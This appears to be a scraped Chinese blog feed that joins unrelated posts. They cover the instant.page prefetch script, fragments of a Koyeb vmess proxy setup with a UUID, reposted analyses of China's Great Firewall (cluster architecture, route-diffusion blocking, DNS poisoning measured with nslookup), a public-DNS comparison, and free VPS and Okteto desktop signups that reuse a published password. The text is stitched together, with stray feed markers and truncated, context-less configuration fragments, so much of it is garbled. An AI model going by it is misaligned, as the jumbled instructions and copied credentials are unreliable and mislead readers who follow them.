以上就是我所想到的 Feed 订阅问题。总结一下就是使用 Atom 格式,加入自动发现的 标签,只输出最新几篇文章的摘要,完善站点信息,比如一使用 UTF-8 编码。欢迎大家留言讨论。也欢迎大家关注Web Feed 项目。
]]>instant.page 是一个 JS 库,当用户鼠标悬停在链接上面,就开始预加载网页,从而使得用户真正点击的时候,页面瞬间就能加载完成。
instant.page 利用了 预加载技术,当用户有意向访问某个页面之前,浏览器首先对此页面进行预加载,当用户真正点击链接后,会从预加载的缓存中直接读取页面内容,缩短页面的加载时间。
当用户鼠标放在页面上某个链接上时,该脚本会在页面头部添加一行代码
<link rel="prefetch" href="链接地址">
有了上面的link标记,浏览器就会提前加载这个网址。
注意由于仅仅是提前获取资源,因此浏览器不会对资源进行预处理,并且像 CSS 样式表、JavaScript 脚本这样的资源是不会自动执行并应用于当前文档的。
<script src="//instant.page/5.1.0" type="module" integrity="sha384-by67kQnR+pyfy8yWP4kPO12fHKRLHZPfEsiSXR8u2IKcTdxD805MGUXBzVPnkLHw"></script>
只需要复制这行代码添加到你的网站上即可。注意:将此HTML片段放在</body >
标签之前。
对于国内网站最好下载该脚本托管到自己网站上或国内cdn上,这样速度更快。
脚本可以去GitHub上下载,下载地址:
https://raw.githubusercontent.com/instantpage/instant.page/master/instantpage.js
DOCKER_USERNAME
:Docker Hub 用户名DOCKER_PASSWORD
:Docker Hub 登录密码大概等待1-3分钟,然后出现“Healthy”字样即为部署成功
***-***.koyeb.app
(***-***是Koyeb为你分配的名称,如下图中红圈所示)443
24b4b1e1-7a89-45f6-858c-242cf53b5bdb
0
auto
ws
none
24b4b1e1-7a89-45f6-858c-242cf53b5bdb-vmess
tls
false
***-***.koyeb.app
(***是Koyeb给你分配的二级域名)本文转自:https://gfwrev.blogspot.com/2010/02/gfw.html
之前我们对GFW进行了大量的黑箱测试,尽管大多数实验数据都得到了良好的解释,但是还是有些数据或者体现出的规律性(不规律性)没有得到合理的解释。比如TCP连接的各项超时时间,比如Google的443端口被无状态阻断时,继发状态的持续跟源IP相关的问题。比如一般TCP连接的继发阻断时,窗口尺寸和TTL的连续变化特性。这些问题已经超出纯协议的范畴,需要对GFW的内部结构进行进一步了解才能明白其原因。所以在这一章介绍GFW的实现和内部结构。
对于GFW在网络上的位置,有很模糊的认知:“在三个国际出口作旁路监听”。然而我们还希望对在出国之前最后一跳之前发生了什么有详细了解。
GFW希望对不同线路的链路异构性进行耦合,并研究了快速以太网、低速WAN、光纤、专用信号多种类型链路的耦合技术。而根据《国际通信出入口局管理办法》,几大ISP有自己的国际出入口局,最后在公用国际光缆处汇合,比如在海缆登陆站之前汇合。据已有的资料,安管中心(CNNISC)有独立的交换中心,而且有报道说各个ISP是分别接入其交换中心。这样几个材料就可以形成一致的解释:为了适应不同ISP不同的链路规格,GFW自己的交换中心需要对不同的链路进行整合,不同的ISP分别引出旁路接入GFW。而没有接入GFW的线路则被称为“防外线”(来源不可靠),不受GFW影响。接入的线路类型应该主要是光纤线路,因此通常称此接入方式为分光。这就是“旁路分光”。另外实验发现,GFW的接入地点并不一定紧靠最后一跳,因此图中以虚线表示。需要注意GFW的响应流量重新接回网络的地点难以确认,这里只是假设是与接出的地点相同。
面对多条骨干监测线路接入产生的巨大不均匀流量,不能直接接到处理集群,而是要先进行汇聚然后再负载均衡分流成均匀的小流量,分别送给处理集群并行处理。首先需要将网络设备通信接口(Pos、ATM、E1等)转换成节点可用的主机通信接口(FE、GE等)。处理负载均衡的算法经过仔细考虑,希望实现:流量均匀分布、对于有连接协议保持连接约束、算法简单。连接约束是指:一对地址端口对之间的一个连接全部通信都要保证调度到同一个节点。
GFW关于负载平衡的文章中主要提出两种算法。一种是轮转调度,对于TCP,当SYN到达时,以最近分配的节点号取模再加1,并将连接存入hash表,当后继流量到达时就能查询hash表获得目标节点号。另一种是基于连接参数的散列,对于N个输出端口调度输出端口号是H(源地址, 目标地址, 源端口, 目标端口) mod N,这个H函数可以是xor。
而之前的某个实验中我们碰到一种特殊的模式,负载平衡在解释其现象中起到了重要作用,下面专门分出一节详细说明。
实验步骤:发送含有关键词的特制包通过GFW,并接收GFW返回的阻断响应包。因为触发阻断之后,同地址对和同目标端口的连接都会受到继发阻断,为了消除这种干扰,一般采取顺序改变目标端口的扫描式方法。通过前期一些实验,我们已经发现和确认某类(二型)阻断响应包中的TTL和id都跟窗口大小有线性关系,我们认为窗口是基本量(二型窗口为5042时id发生了溢出,只有在id根据窗口算出时才会发生此种情况)。
然而在顺序扫描中有一种特殊的模式无法用现有证据解释。进一步的实验步骤是:在源、目标地址不变的情况下,顺序扫描目标端口,记录返回的阻断响应包的窗口。数据如下图,横轴是时间(秒),纵轴是端口号,每个点代表一次阻断触发事件中观测者收到的阻断包的窗口值。
可以明显看出一种线性增加的趋势。图像取局部放大看:
可以看出,在同一时间有13根较连续的线。这样产生了几个问题:为什么有独立可区分的不同的线?这些线表示了什么?为什么有13根?为什么每根线是递增的?
然而进一步的实验发现,如果目标端口、源地址不变,而目标地址顺序变化,图像就显得比较紊乱,找不出规律。虽然如此,仍然在局部可以识别出同时存在13根线的情况,进一步证实“13个节点在线”的猜测。这个实验的意义在于,通过对现象的分解约化,分离出GFW内部的某种独立实体结构,对论文中主张的负载平衡算法有进一步的实践证实,对GFW的内部结构得到进一步的认识。
当数据流通过当数据总线到达终端节点之后,需要将其从物理层提取出来供上层进一步分析,这个部分称为报文捕获。普通的做法,先网卡中断一次通知内核来取,然后控制DMA传到内核空间,然后用户用read(),让内核copy_to_user()将sk_buff的数据复制到用户空间,但是这样复制一次就带来了无谓开销。因此GFW设计环状队列缓存,以半轮询半中断机制减少频繁中断的系统调用开销,用mmap实现zero-copy,把数据直接从网卡DMA到用户空间。这样性能提高很多(耦合也提高很多)。
链路层数据到怀里了,接下来要将数据上交给TCP/IP栈。论文中多次提到libnids(这个库我们也是第一眼就瞟到了,后来发现对诊断没什么用),将其作为基准,(甚至可能符合国情地)以其为蓝本改进,开发出了一种多线程的TCP/IP(自动机)。后面又在考虑对其进一步做自动机分解优化。后来又再次提出一种两级连接状态记录表,一级轻量级环状hash表可以缓解大量无效连接和SYN Flood的情况,二级表才真正存储连接的信息。实验结果与此相符:发送SYN之后的超时时间要比发送第一个ACK之后的超时时间短得多。文献中还提到libnids的half_stream,从实际的情况上看,GFW的TCP栈的确具有鲜明的半连接特性,也就是说:一个方向的TCP栈只检测客户端到服务端的数据,或者反之。这样一个直接的后果就是,即使服务端根本不在线没响应,客户端照样可以假装三次握手然后触发一堆RST。往好的方向看,也许是因为多线程TCP栈还原全连接时不想处理数据共享控制的问题。总而言之,GFW有一种非常轻量级的TCP/IP栈,刚好能够处理大多数遵守RFC的连接。如果用户稍微精明一点就能穿过去,GFW要么坐视不管,要么重写TCP栈。
TCP/IP栈将数据分片重组,流重组之后交给应用层解析。应用层由很多插件模块组成,耦合松,部署易。其应用层插件包括HTTP、TELNET、FTP、SMTP、POP3、FREENET、IMAP、FREEGATE、TRIBOY 等。
有意思的是,这是首次官方确认GFW与Freegate、Freenet、Triboy的敌对关系。应用层的协议大家都很熟悉不用多解释,不过应用层问题比传输层更多了。好几个模块都有一些小毛病,比如某类HTTP模块只认得CRLF作为EOL,换作LF便呆了。再比如某类DNS模块,发的DNS干扰包,十有五六都校验和错误,查询AAAA记录也返回A记录,还不如关掉。多数模块都是得过且过,刚好可以工作,一点都不完善。这里列出的、发现的问题按照软件设计一般规律也只是冰山一角。由此推断,GFW的设计哲学是:better is worse。
不过在可以生产论文的话题上,GFW绝不含糊,就是模式匹配。应用层模块把应用层协议解析好了,然后就要看是不是哪里有关键词,字符串匹配。搞了一堆论文出来,改进AC算法和BM算法,就差汇编的干活了,得出某种基于有限状态自动机的多模式匹配算法,特别适合GFW这种预定义关键词的需求。总之复杂度是线性的,攻击匹配算法消耗CPU什么的就不要想了。
如果匹配到一个关键词了,要积极响应阻断之。响应的手段如下:
后来又加上了DNS劫持/污染,不过这个手动设置的机制已经不能算一个入侵检测系统的响应了。
GFW有日志。这意味着什么?这就意味着当你翻墙的时候,你的所作所为都记录在案。不光是你一个人,其他所有人都经常翻墙。但据统计87.53%的人(361之316)都是无意之中翻墙,从统计理论上看,记录在案的无效信息过多会造成信息难以利用。因此GFW后期一直在做“数据融合、聚类、分类的研究”,鸭子硬上弓,各种神经网络、概率模型、人工智能的论文整了一大堆,效果如何呢?
GFW的日志应该会记录这样一些事件信息:起始时间、结束时间、源地址、目标地址、目标端口、服务类型、敏感类型。信息难以利用不等于不能利用,如果日志被翻出来了而且用户没有用代理,那么根据常识,从IP地址对应到人也只是时间问题。这就是说,GFW即使不能阻断,最差也是一个巨型监听设备。
“虚拟计算环境实验床”是由国家计算机网络应急技术处理协调中心(CNCERT/CC)和哈尔滨工业大学(HIT)协作建设,以国家计算机网络应急技术处理协调中心遍布全国31个省份的网络基础设施及计算资源为基础,对分布自治资源进行集成和综合利用,构建起的一个开放、安全、动态、可控的大规模虚拟计算环境实验平台,研究并验证虚拟计算环境聚合与协同机理。2005年此平台配置如下:
GFW(北京)使用曙光4000L机群,操作系统Red Hat系列(从7.2到7.3到AS 4),周边软件见曙光4000L一般配置;GFW实验室(哈工大)使用曙光服务器,Red Hat系列;GFW(上海)使用Beowulf集群(攒的?)。
换句话说,是先有了用户的应用需求,才有了曙光4000L的研制。这其实不难想像,一套价值几千万元的系统,如果纯是为了填补科学空白,将会延长产品市场化的时间。曙光4000L充分体现了中科院计算所在科研成果市场化方面的运作能力,而曙光4000L这套系统就是针对国家信息化的实际应用而设计的。 在曙光4000L的研制中,曙光公司从事了工程任务和产品化工作,国防科技大学从事了机群数据库中间件的开发工作,哈尔滨工业大学开发了应用软件。
GFW是曙光4000L的主要需求来源、研究发起者、客户、股东、共同开发者。是不是应该打一点折?(曙光公司=中科院计算所)
GFW(北京)拥有16套曙光4000L,每套384节点,其中24个服务和数据库节点,360个计算节点。每套价格约两千万到三千万,占005工程经费的主要部分。其中有3套(将)用于虚拟计算环境实验床,大约有千余节点。有13套用于骨干网络过滤。总计6144个节点,12288个CPU,12288GB内存,峰值计算速度大约为48万亿次。
2GHz CPU的主机Linux操作系统下可达到600Kpps以上的捕包率。通过骨干网实验,配置16个数据流总线即可以线速处理八路OC48接口网络数据。曙光4000L单结点的接入能力为每秒65万数据包,整个系统能够满足32Gbp的实时数据流的并发接入要求。
512Gbps(北京)。
总的来说,GFW是一个建立在高性能计算集群上规模庞大的分布式入侵检测系统。其分布式架构带来了很高的可伸缩性,对骨干网一点上庞大流量的处理问题被成功转换成购买超级计算机堆砌处理能力的问题。它目前有能力对中国大陆全部国际网络流量进行复杂和深度的检测,而且处理能力“还有很大潜力”。
]]>本文转自:https://gfwrev.blogspot.com/2009/11/gfw_05.html
GFW的重要工作方式之一是在网络层的针对IP的封锁。事实上,GFW采用的是一种比传统的访问控制列表(Access Control List,ACL)高效得多的控制访问方式——路由扩散技术。分析这种新的技术之前先看看传统的技术,并介绍几个概念。
ACL可以工作在网络的二层(链路层)或是三层(网络层),以工作在三层的ACL为例,基本原理如下:想在某个路由器上用ACL控制(比如说是切断)对某个IP地址的访问,那么只要把这个IP地址通过配置加入到ACL中,并且针对这个IP地址规定一个控制动作,比如说最简单的丢弃。当有报文经过这个路由器的时候,在转发报文之前首先对ACL进行匹配,若这个报文的目的IP地址存在于ACL中,那么根据之前ACL中针对该IP地址定义的控制动作进行操作,比如丢弃掉这个报文。这样通过ACL就可以切断对于这个IP的访问。ACL同样也可以针对报文的源地址进行控制。如果ACL工作在二层的话,那么ACL控制的对象就从三层的IP地址变成二层的MAC地址。从ACL的工作原理可以看出来,ACL是在正常报文转发的流程中插入了一个匹配ACL的操作,这肯定会影响到报文转发的效率,如果需要控制的IP地址比较多,则ACL列表会更长,匹配ACL的时间也更长,那么报文的转发效率会更低,这对于一些骨干路由器来讲是不可忍受的。
而GFW的网络管控方法是利用了OSPF等路由协议的路由重分发(redistribution)功能,可以说是“歪用”了这个本来是正常的功能。
动态路由协议
说路由重分发之前先简单介绍下动态路由协议。正常情况下路由器上各种路由协议如OSPF、IS-IS、BGP等,各自计算并维护自己的路由表,所有的协议生成的路由条目最终汇总到一个路由管理模块。对于某一个目的IP地址,各种路由协议都可以计算出一条路由。但是具体报文转发的时候使用哪个协议计算出来的路由,则由路由管理模块根据一定的算法和原则进行选择,最终选择出来一条路由,作为实际使用的路由条目。
相对于由动态路由协议计算出来的动态路由条目,还有一种路由不是由路由协议计算出来的,而是由管理员手工配置下去的,这就是所谓的静态路由。这种路由条目优先级最高,存在静态路由的情况下路由管理模块会优先选择静态路由,而不是路由协议计算出来的动态路由。
刚才说到正常情况下各个路由协议是只维护自己的路由。但是在某些情况下比如有两个AS(自治系统),AS内使用的都是OSPF协议,而AS之间的OSPF不能互通,那么两个AS之间的路由也就无法互通。为了让两个AS之间互通,那么要在两个AS之间运行一个域间路由协议BGP,通过配置,使得两个AS内由OSPF计算出来的路由,能通过BGP在两者之间重分发。BGP会把两个AS内部的路由互相通告给对方AS,两个AS就实现了路由互通。这种情况就是通过BGP协议重分发OSPF协议的路由条目。
另外一种情况,管理员在某个路由器上配置了一条静态路由,但是这条静态路由只能在这台路由器上起作用。如果也想让它在其他的路由器上起作用,最笨的办法是在每个路由器上都手动配置一条静态路由,这很麻烦。更好的方式是让OSPF或是IS-IS等动态路由协议来重分发这条静态路由,这样通过动态路由协议就把这条静态路由重分发到了其他路由器上,省去了逐个路由器手工配置的麻烦。
前面说了是“歪用”,正常的情况下静态路由是由管理员根据网络拓扑或是基于其他目的而给出的一条路由,这条路由最起码要是正确的,可以引导路由器把报文转发到正确的目的地。而GFW的路由扩散技术中使用的静态路由其实是一条错误的路由,而且是有意配置错误的。其目的就是为了把本来是发往某个IP地址的报文统统引导到一个“黑洞服务器”上,而不是把它们转发到正确目的地。这个黑洞服务器上可以什么也不做,这样报文就被无声无息地丢掉了。更多地,可以在服务器上对这些报文进行分析和统计,获取更多的信息,甚至可以做一个虚假的回应。
有了这种新的方法,以前配置在ACL里的每条IP地址就可以转换成一条故意配置错误的静态路由信息。这条静态路由信息会把相应的IP报文引导到黑洞服务器上,通过动态路由协议的路由重分发功能,这些错误的路由信息可以发布到整个网络。这样对于路由器来讲现在只是在根据这条路由条目做一个常规报文转发动作,无需再进行ACL匹配,与以前的老方法相比,大大提高了报文的转发效率。而路由器的这个常规转发动作,却是把报文转发到了黑洞路由器上,这样既提高了效率,又达到了控制报文之目的,手段更为高明。
这种技术在正常的网络运营当中是不会采用的,错误的路由信息会扰乱网络。正常的网络运营和管控体系的需求差别很大,管控体系需要屏蔽的IP地址会越来越多。正常的网络运营中的ACL条目一般是固定的,变动不大、数量少,不会对转发造成太大的影响。而这种技术直接频繁修改骨干路由表,一旦出现问题,将会造成骨干网络故障。
所以说GFW是歪用了路由扩散技术,正常情况下没有那个运营商会把一条错误的路由信息到处扩散,这完全是歪脑筋。或者相对于正常的网络运营来说,GFW对路由扩散技术的应用是一种小聪明的做法。正常的路由协议功能被滥用至此,而且非常之实用与高效,兲朝在这方面真是人才济济。
GFW动态路由系统概括起来就是:人工配置(c)样本路由器(sr)的静态路由(r),向各ISP的出入口路由器(or)扩散此路由(r),将特定网络流量转到黑洞服务器(fs)进行记录。因此可以进行测量的项目有:
刘刚, 云晓春, 方滨兴, 胡铭曾. "一种基于路由扩散的大规模网络控管方法". 通信学报, 24(10): 159-164. 2003.
李蕾, 乔佩利, 陈训逊. "一种IP访问控制技术的实现". 信息技术, (6). 2001.
本文转自:https://blog.skk.moe/post/which-public-dns-to-use/
DNS 是互联网的基石之一,之前我在博客的 DNS 标签下写了不少关于权威 DNS 的文章,这次写一篇关于递归 DNS(也就是公共 DNS)的文章,从公共 DNS 的必要性、利弊来讲一讲选择公共 DNS 需要关注的事情,以及列举一些当前主流的公共 DNS。
在选择公共 DNS 之前,你需要考虑一个问题:你是否真的需要公共 DNS 么?
无论我们是 PPPoE 拨号上网,还是 DHCP 连接光猫上网,互联网服务提供商(ISP)都会下发两个 DNS 给你。为了方便介绍,在下文中我称这两个 DNS 为 ISP DNS。
在 DNS 的解析过程中,用户向递归 DNS 发起请求,递归 DNS 向权威 DNS 请求解析结果,可以说递归 DNS 起到一种转发的作用。运营商的 ISP DNS 就是递归 DNS;同时一些个人或互联网服务提供商也会架设自己的递归 DNS 开放给所有人使用,称为公共 DNS。
对于绝大部分人来说,运营商下发的 ISP DNS 应该是最准确的和最合适的,响应时间短、CDN 解析结果也会最准确。
但是运营商不是做公益的。运营商经常使用 DNS 投毒来引导用户去使用他们的 缓存服务器,从而降低运营商带宽负载;或者劫持解析将用户引导去他们已经插入了广告的镜像站点,从而获利;或者为了国家相关法律政策要求或者运营商自己的需求屏蔽一些网站的访问(如辽宁联通曾将工信部举报站点的域名解析至 127.0.0.1);或者自行篡改 TTL(DNS 结果缓存时间)降低 DNS 的负载,结果就是解析结果不能尽快更新;或者对于不正确的域名给你返回一个满是广告的页面,等等。即使运营商非常良心不使用 DNS 做坏事,也有可能因为设备没有及时扩容或者维护不善而导致不佳的体验。
如果你为了追求更安全、更准确的 DNS 解析结果而决定继续使用公共 DNS(比如和我一样 雾),你就可以继续阅读下去了。
公共 DNS 服务有很多,有大公司搭建的,有非盈利组织搭建的,还有个人搭建的,令人眼花缭乱。在选择的时候我们需要考虑很多方面才能选出适合我们需求的 DNS。通常在选择对于我们上网起非常重要作用的 DNS 时,我们需要考虑以下方面:
dig whoami.akamai.net
DNS 出口对于 CDN 非常重要。公共 DNS 的本质上就是把你的查询请求转发给上游 DNS;在没有 EDNS 的情况下,CDN 的权威 DNS 会根据公共 DNS 使用的请求 IP(也就是 DNS 出口)来判定你的运营商、你所在的位置,从而返回距离你最近的节点 IP。
所以说,理论上 ISP 给你分配的 DNS 应该是最快的、也是 CDN 友好的。本文接下来提到的 CDN 优化、CDN 友好,也是指的 DNS 出口的 IP 能否让你访问到最快的 CDN 节点。
受篇幅限制,本文只介绍一些大型的、有名的公共 DNS,而一些类似服务不稳定的 1.1.9.9(由牙木运营)公共 DNS 和速度慢 还不遵守 RFC 规范 的 IBM Quad9 DNS、Level 3 DNS,或者最好不被公开的 USTC 抗污染 DNS,亦或是只有单线单点部署的 360 公共 DNS、Verisign DNS,还有实际上没什么卵用的“安全 DNS” 如诺顿 DNS 和 OneDNS,本文就不介绍了。
119.29.29.29
, 119.28.28.28
2402:4e00::
https://doh.pub/dns-query
dot.pub
这是 DNSPod 建立的公共 DNS,之后 DNSPod 被腾讯收购以后由腾讯云负责运营。腾讯 DNSPod 公共 DNS 配置了 Anycast,节点囊括了腾讯云所有可用区的节点(包括海外),所以速度还是不错的,并且除了支持 ECS 以外还有一些关于 DNS 出口选择优化的加成,所以 CDN 解析结果相对准确很多。但是 SLA 却并不优秀—— 曾经 经常遭遇 DDoS 攻击导致无法解析。除此以外,由于相对出名、使用人数较多,是运营商重点劫持的对象。
值得一提的是,DNSPod 的公共 DNS 是免费提供 HTTPDNS 的,Demo 可以看 :https://www.dnspod.cn/httpdns/demo
223.5.5.5
,223.6.6.6
2400:3200::1
, 2400:3200:baba::1
https://dns.alidns.com/dns-query
dns.alidns.com
阿里建立的公共 DNS。和腾讯一样,阿里公共 DNS 也是搭建在自家的云服务——阿里云上。虽然也配置了 Anycast,不过不包括海外节点,国内也就浙江阿里云和深圳阿里云两个节点, 而且华北地区都是隧道穿透回深圳,响应速度略逊于 DNSPod 提供的公共 DNS;阿里公共 DNS 不支持 ECS ,有 DNS 出口的优化 (一般都是广东出口),。关于阿里的公共 DNS 没有听说太多宕机、无法使用相关的报告。,但是倒是听说阿里公共 DNS 时常有返回 NXDOMAIN 影响使用体验。 NSDOMAIN 问题已得到一定缓解。
114.114.114.114
, 114.114.115.115
无疑是国内最著名的公共 DNS,但是显然不是最好的。有 Anycast,国内有南京和青岛济南两个节点、海外有芝加哥节点,响应速度不敢恭维。国内最著名的公共 DNS、使用的人很多,SLA 非常可靠,因此也是运营商重点劫持的对象。但是考虑到南京信风为运营商旁路广告劫持提供技术和硬件支持,对他们提供的公共 DNS 服务还是戴着有色眼镜来看吧。
1.2.4.8
,210.2.4.8
CNNIC 名声并不好(CNNIC Root CA 的故事),因此有些许人相对都有些对 CNNIC 的抵触心理。CNNIC 的公共 DNS(SDNS)国内仅双点部署、Anycast 配得一塌糊涂、速度堪忧,解析结果没有 CDN 优化(DNS 出口都是阿里云)。至于撇开 CNNIC 来谈 SDNS 推不推荐使用?SLA 比 DNSPod 的公共 DNS 还惨,解析请求时不时超时。
180.76.76.76
2400:da00::6666
百度的名声现在怕是比 CNNIC 还要臭得多,他们的公共 DNS 于 2017 年上线,现在也不被太多人知道,不过还是简单提两笔:百度也为公共 DNS 也配置了 Anycast,国内是北京、南京、深圳三点,海外是单点百度香港数据中心。用的人少,也许不容易被运营商劫持,有兴趣的可以试一试看。
https://dns.google/dns-query
– RFC 8484 (GET and POST)https://dns.google/resolve?
– JSON API (GET)dns.google
8.8.8.8
,8.8.4.4
2001:4860:4860::8888
,2001:4860:4860::8844
最著名的公共 DNS(即使在国内也是很有名的),得益于 Google 庞大的全球网络设施(不过 Google 公共 DNS 并未使用 Google Global Cache,并且在非洲和大洋洲也没有节点),速度虽然不能说是最快的,但是至少不慢;支持 ECS、DoH、DoT,SLA 无限接近 100(Google 搜索引擎的 SLA 是 99.9999%),海外 CDN 都有针对 Google DNS 做优化,解析海外站点时强烈推荐。
https://cloudflare-dns.com/dns-query
cloudflare-dns.com
1.0.0.1
,1.1.1.1
2606:4700:4700::1111
, 2606:4700:4700::1001
当 Cloudflare 从 APNIC 手上接过 1.0.0.0/24 和 1.1.1.0/24 并架设了公共 DNS 以后,得益于 Cloudflare 全球 160+ 数据中心(Cloudflare 拥有 185+ 数据中心,但其公共 DNS 并没有部署在百度云加速的节点上)、BGP Anycast 和 Cloudflare Argo 等技术,成功超越 OpenDNS 成为了世界上最快的公共 DNS(数据来自 DNSPerf),还支持 DoT、DoH 等常见加密解析方案。由于其隐私政策,Cloudflare 公共 DNS 不记录用户 IP,意味着无法使用 ECS 等技术,不过仗着节点数量众多、DNS 出口覆盖全球各大区域,也适合作为主力 DNS。
https://doh.opendns.com/dns-query
208.67.222.222
, 208.67.220.220
2620:119:35::35
,2620:119:53::53
被 Cisco 收购的 OpenDNS 一度是世界上最快的公共 DNS——OpenDNS 在全球拥有 30 余节点并且 Anycast 配的很棒。支持 ECS 和 SLA 达到 100,而且 OpenDNS 开放非常规端口 5353 查询和 TCP 查询,即使从国内直接请求也不容易被污染和劫持。如果你在使用 ChinaDNS 这类工具同时又没有专门为其准备一条加密隧道,那么直连 OpenDNS 的 5353 就是一个不错的替代选择。
80.80.80.80
,80.80.81.81
注册过后缀如 .cf .ga .ml .gq .tk的免费域名的,对 Freenom 这个名字一定不会陌生。这家荷兰域名注册商借助自己旗下的云服务资源也运营了一家公共 DNS 服务,卖点是隐私和安全。支持 ECS,测到的 DNS 出口都是落地 IP。部署了 Anycast 但是节点不多,响应速度并不算拔尖。Freenom 的公共 DNS 的一个特点其实是电信走 163 去 HK,联通移动走 IIJ 去 JP,因此如果你所在的地区和 ISP 对国外递归 DNS 的污染并不严重的话可以尝试使用 Freenom 的 DNS。
https://doh.sb/dns-query
dot.sb
185.222.222.222
45.11.45.11
2a09::
2a11::
和 Cloudflare 一样支持主流的 DoT、DoH 等加密 DNS 解析。启用了 Anycast,节点可能没有 Cloudflare 那么多,不过还是覆盖了大部分地区;此外,有 VPS 的可以试试 trace 一下 185.222.222.222、没准你会发现你的 VPS 和 dns.sb 在同一内网里。
本文采用 CC BY-NC-SA 4.0 许可协议,著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Sukka
来源:如何选择适合的公共 DNS? [2020] | Sukka's Blog
链接:https://blog.skk.moe/post/which-public-dns-to-use/
官网: https://hax.co.id/register
打开Telegram,搜索并打开 @HaxTG_bot
。
输入 /getid
,获取你的用户 ID,然后在网站内复制黏贴你的用户 ID, 接下来会通过 给你发送一个密钥,复制并填入网站内。
使用 Telegram 账号用户 id 和刚刚设置的登录密码登录。
打开https://hax.co.id/create-vps/
一项项填入,第一个操作系统,第二个 root 密码,第三个 VPS 的用途,第四个是 VPS 地区。
下面的几个选项需要全部同意并通过人机验证,等待 VPS 初始化。
等待网站配置好您的 VPS 服务器,大概需要 1-3 分钟的时间
。
打开:https://hax.co.id/vps-info即可进入你的 VPS 管理界面,有你的 IPV6 地址,一些 SSH 教程,VPS 控制,网站、文件管理等工具。
如果你的网络不支持ipv6的话,可以到:https://hax.co.id/ipv6-to-ipv4/上添加一个端口转发。
hax.co.id
。打开https://cloud.okteto.com/#/login,点击Log in With GitHub:
点击Deploy:
选择Git URL,输入: https://github.com/gd1214b/okteto-debain-desktop.git
,点击Deploy:
稍等几分钟即可完成部署
部署完成之后,点击这个链接:
打开登陆界面:(如果你没看到下面这个界面请再等几分钟)
点击连接,密码输入uncleluo
,完成登陆:
操作系统是debian,有root权限:
4核CPU,26G内存,300多G硬盘,算是高配了:
服务器IP是谷歌云的:
网速还可以:
总的来说,这台云服务器的性能还是可以的,大家可以好好玩一下。
如果你在部署过程中遇到任何问题,欢迎在下方的评论区中提出。
本文转自:https://gfwrev.blogspot.com/2009/11/gfwdns.html
DNS(Domain Name System)污染是GFW的一种让一般用户由于得到虚假目标主机IP而不能与其通信的方法,是一种DNS缓存投毒攻击(DNS cache poisoning)。其工作方式是:对经过GFW的在UDP端口53上的DNS查询进行入侵检测,一经发现与关键词相匹配的请求则立即伪装成目标域名的解析服务器(NS,Name Server)给查询者返回虚假结果。由于通常的DNS查询没有任何认证机制,而且DNS查询通常基于的UDP是无连接不可靠的协议,查询者只能接受最先到达的格式正确结果,并丢弃之后的结果。对于不了解相关知识的网民来说也就是,由于系统默认使用的ISP提供的NS查询国外的权威服务器时被劫持,其缓存受到污染,因而默认情况下查询ISP的服务器就会获得虚假IP;而用户直接查询境外NS(比如OpenDNS)又可能被GFW劫持,从而在没有防范机制的情况下仍然不能获得正确IP。然而对这种攻击有着十分简单有效的应对方法:修改Hosts文件。但是Hosts文件的条目一般不能使用通配符(例如*.blogspot.com),而GFW的DNS污染对域名匹配进行的是部分匹配不是精确匹配,因此Hosts文件也有一定的局限性,网民试图访问这类域名仍会遇到很大麻烦。
“知己知彼,百战不殆”。这一节我们需要用到前面提到的报文监听工具,以及参考其DNS劫持诊断一节。在Wireshark的filter一栏输入udp.port eq 53可以方便地过滤掉其他无关报文。为了进一步减少干扰,我们选择一个并没有提供域名解析服务的国外IP作为目标域名解析服务器,例如129.42.17.103。运行命令nslookup -type=A www.youtube.com 129.42.17.103。如果有回答,只能说明这是GFW的伪造回答,也就是我们要观测和研究的对象。
经过一番紧密的查询,我们可以发现GFW返回的IP取自如下列表:
关于这八个特殊IP,鼓励读者对这样两个问题进行探究:1、为什么是特定的IP而不是随机IP,固定IP和随机IP各自有什么坏处;2、为什么就是这8个IP不是别的IP,这8个IP为什么倒了GFW的霉?关于搜索这类信息,除了www.google.com之外,www.bing.com有专门的搜索IP对应网站的功能,使用方法是输入ip:IP地址搜索。www.robtex.com则是一个专门收集域名解析信息的网站。欢迎读者留下自己的想法和发现。
从Wireshark收集到的结果分析(实际上更好的办法是,将结果保存为pcap文件,或者直接使用tcpdump,由tcpdump显示成文本再自行提取数据得到统计),我们将GFW发送的DNS污染包在IP头部的指纹特征分为两类:
(以上结果仅保证真实性,不保证时效性,GFW的特征随时有可能改变,尤其是时序特征与传输层特征相关性方面。最近半年GFW的特征在很多方面的变化越来越频繁,在将来介绍TCP阻断时我们会提到。)
还可以进行的实验有:由于当前二型的TTL变化范围是IP个数的整数倍,通过控制DNS查询的TTL使得恰好有GFW的返回(避免动态路由造成的接收者观察到的TTL不规律变化),观察IP和TTL除以8的余数是否有对应关系,在更改源IP、目标IP对之后这个关系是否仍然成立。这关系到的GFW负载平衡算法及响应计数器(hit counter)的独立性和一致性。事实上对GFW进行穷举给出所有关于GFW的结果也缺乏意义,这里只是提出这样的研究方法,如果读者感兴趣可以继续探究。
每次查询通常会得到一个一型包和三个完全相同的二型包。更换查询命令中type=A为type=MX或者type=AAAA或者其它类型,可以看到nslookup提示收到了损坏的回复包。这是因为GFW的DNS污染模块做得十分粗制滥造。GFW伪造的DNS应答的ANSWER部分通常只有一个RR组成(即一条记录),这个记录的RDATA部分为那8个污染IP之一。对于二型,RR记录的TYPE值是从用户查询之中直接复制的。于是用户就收到了如此奇特的损坏包。DNS响应包的UDP荷载内容特征:
其中的术语解释:RR = Resource Record:dns数据包中的一条记录;RDATA = Resource Data:一条记录的数据部分;TYPE:查询的类型,有A、AAAA、MX、NS等;CLASS:一般为IN[ternet]。
实际上DNS还有TCP协议部分,实验发现,GFW还没有对TCP协议上的DNS查询进行劫持和污染。匹配规则方面,GFW进行的是子串匹配而不是精确匹配,并且GFW实际上是先将域名转换为字符串进行匹配的。这一点值得特殊说明的原因是,DNS中域名是这样表示的:一个整数n1代表以“.”作分割最前面的部分的长度,之后n1个字母,之后又是一个数字,若干字母,直到某次的数字为0结束。例如www.youtube.com则是"\x03www\x07youtube\x03com\x00"。因此,事实上就可以观察到,对www.youtube.coma的查询也被劫持了。
可见上面的IP大多数并不是中国的。如果有网站架设到了这个IP上,全中国的Twitter、Facebook请求都会被定向到这里——好在GFW还有HTTP URL关键词的TCP阻断——HTTPS的请求才构成对目标IP的实际压力,相当于中国网民对这个IP发起DDoS攻击,不知道受害网站、ISP是否有索赔的打算?
我们尝试用bing.com的ip反向搜索功能搜索上面那些DNS污染专用IP,发现了一些有趣的域名。显然,这些域名都是DNS污染的受害域名。
